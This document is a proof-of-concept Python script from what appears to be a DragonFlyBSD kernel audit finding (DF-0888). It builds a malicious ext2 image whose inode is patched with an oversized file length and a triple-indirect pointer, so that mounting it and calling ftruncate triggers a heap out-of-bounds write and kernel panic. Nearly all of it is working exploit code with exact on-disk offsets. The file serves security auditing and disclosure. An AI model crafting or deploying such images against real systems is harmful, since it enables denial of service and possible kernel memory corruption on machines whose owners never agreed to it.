DragonFlyBSD Kernel Audit
DF-0888 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0888 ext2 image crafter.

Builds a small ext2 (classic indirect-block) filesystem image containing a
regular file whose on-disk inode is patched to:
  - e2di_size  = 6 TiB   (low 32 bits in e2di_size @ offset 4,
                           high 32 bits in e2di_size_high @ offset 108)
  - e2di_blocks[14] (triple-indirect pointer, offset 40 + 14*4 = 96) = a valid
                     data block inside the image, so ext2_indirtrunc's bread()
                     succeeds and the underflowing bzero at ext2_inode.c:172
                     actually fires.
  - e2di_flags has NO EXT4_EXTENTS bit  (so ext2_truncate -> ext2_ind_truncate).
  - e2di_nblock / i_blocks set plausibly so the kernel does not reject the inode.

Then the guest mounts this image (root-only) and runs `ftruncate(fd, 5 TiB)`
on the patched file. ext2_truncate has no structural-limit guard on length
(ext2_inode.c:465 only checks length<0); for length in the triple-indirect
range, ext2_ind_truncate computes lastiblock[TRIPLE] exceeding NINDR^3 and
ext2_indirtrunc underflows the bzero size -> kernel heap OOB write -> panic.

Run on the HOST (needs mke2fs, debugfs, python3):
    python3 craft_img.py out.ext2
"""
import os, struct, subprocess, sys

IMG = sys.argv[1] if len(sys.argv) > 1 else "df0888.ext2"
SIZE_MB = 8
BS = 4096
NBLK = (SIZE_MB * 1024 * 1024) // BS

def sh(cmd, **kw):
    return subprocess.run(cmd, shell=True, check=True,
                          stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                          text=True, **kw).stdout

# 1. Create base ext2 (rev1, no extents, no huge_file, no metadata_csum).
#    -O ^extent : ensure classic indirect blocks (ext2 default already).
#    -O ^huge_file,^metadata_csum,^64bit : keep it simple, 128-byte inodes.
sh(f"dd if=/dev/zero of={IMG} bs=1M count={SIZE_MB} 2>/dev/null")
sh(f"mke2fs -F -q -t ext2 -b {BS} -O '^metadata_csum,^huge_file,^64bit' {IMG} {NBLK}k")

# 2. Create a regular file "target" containing a few bytes so it has an inode,
#    then locate its inode number via debugfs.
sh(f"echo -n hello > /tmp/df0888_payload")
sh(f"debugfs -w {IMG} -R 'write /tmp/df0888_payload target' >/dev/null 2>&1")
# stat -> inode number
stat = sh(f"debugfs {IMG} -R 'stat target' 2>/dev/null")
ino = None
for line in stat.splitlines():
    if line.strip().startswith("Inode:"):
        # "Inode: 12   Type: regular ..."
        ino = int(line.split()[1])
if ino is None:
    # fallback: parse "Inode: 12"
    raise SystemExit("could not find target inode number:\n" + stat)
print(f"[craft] target inode number = {ino}")
print(f"[craft] debugfs stat:\n{stat}")

# 3. Parse the ext2 superblock (byte offset 1024) to locate the inode table.
with open(IMG, "rb") as f:
    f.seek(1024)
    sb = f.read(1024)
# ext2 superblock field offsets:
#   0  s_inodes_count, 4 s_blocks_count, 24 s_log_block_size,
#   40 s_inodes_per_group, 76 s_rev_level, 84 s_first_ino(rev1),
#   88 s_inode_size(rev1)
s_inodes_count = struct.unpack_from("<I", sb, 0)[0]
s_blocks_count = struct.unpack_from("<I", sb, 4)[0]
s_log_block_size = struct.unpack_from("<I", sb, 24)[0]
block_size = 1024 << s_log_block_size
assert block_size == BS, f"unexpected block size {block_size}"
s_inodes_per_group = struct.unpack_from("<I", sb, 40)[0]
s_rev_level = struct.unpack_from("<I", sb, 76)[0]
s_first_ino = struct.unpack_from("<I", sb, 84)[0] if s_rev_level >= 1 else 11
s_inode_size = struct.unpack_from("<H", sb, 88)[0] if s_rev_level >= 1 else 128
print(f"[craft] inodes_count={s_inodes_count} blocks_count={s_blocks_count} "
      f"inode_size={s_inode_size} rev_level={s_rev_level} first_ino={s_first_ino} "
      f"inodes_per_group={s_inodes_per_group}")

# Block group descriptor table: first block after the superblock.
# With 4K blocks the superblock lives inside block 0, so BGDT starts at block 1.
bgdt_off = block_size   # block 1
with open(IMG, "rb") as f:
    f.seek(bgdt_off)
    gd = f.read(32)
bg_inode_table = struct.unpack_from("<I", gd, 8)[0]
print(f"[craft] block group 0 inode table at block {bg_inode_table}")

# Inode N on-disk offset:
inode_off = bg_inode_table * block_size + (ino - 1) * s_inode_size
print(f"[craft] target inode raw offset = {inode_off}")

# 4. Patch the inode.
TB = 1 << 40
i_size = 6 * TB          # 0x6000000000
i_size_lo = i_size & 0xFFFFFFFF
i_size_hi = (i_size >> 32) & 0xFFFFFFFF
# triple-indirect pointer: point at a real data block inside the image.
# Use a block near the end of the data area that definitely exists.
tind_block = s_blocks_count - 2   # within image, readable
print(f"[craft] patching: i_size={i_size} (0x{i_size:x}) "
      f"lo=0x{i_size_lo:08x} hi=0x{i_size_hi:08x}")
print(f"[craft] e2di_blocks[14] (TIND) = block {tind_block}")

with open(IMG, "r+b") as f:
    f.seek(inode_off)
    raw = bytearray(f.read(s_inode_size))
    # e2di_mode  @0  : keep existing mode (regular file from debugfs)
    mode = struct.unpack_from("<H", raw, 0)[0]
    print(f"[craft] existing mode = 0x{mode:04x} (S_ISREG={mode & 0o170000 == 0o100000})")
    # e2di_nblock @28 : claim a handful of blocks (doesn't need to be truthful)
    struct.pack_into("<I", raw, 28, 32)
    # e2di_flags  @32 : CLEAR any extents bit (EXT4_EXTENTS=0x00080000)
    flags = struct.unpack_from("<I", raw, 32)[0]
    flags &= ~0x00080000
    flags &= ~0x00040000   # also clear EXT4_HUGE_FILE
    struct.pack_into("<I", raw, 32, flags)
    # e2di_size   @4  (low 32)
    struct.pack_into("<I", raw, 4, i_size_lo)
    # e2di_blocks[14] (TIND) @ (40 + 14*4) = 96
    struct.pack_into("<I", raw, 96, tind_block)
    # e2di_size_high @108 (high 32) -- only meaningful for S_ISREG, which we are
    struct.pack_into("<I", raw, 108, i_size_hi)
    f.seek(inode_off)
    f.write(raw)
    f.flush()
    os.fsync(f.fileno())

print(f"[craft] wrote patched image: {IMG} ({os.path.getsize(IMG)} bytes)")
print(f"[craft] DONE. Mount on guest and ftruncate the patched file to 5 TiB.")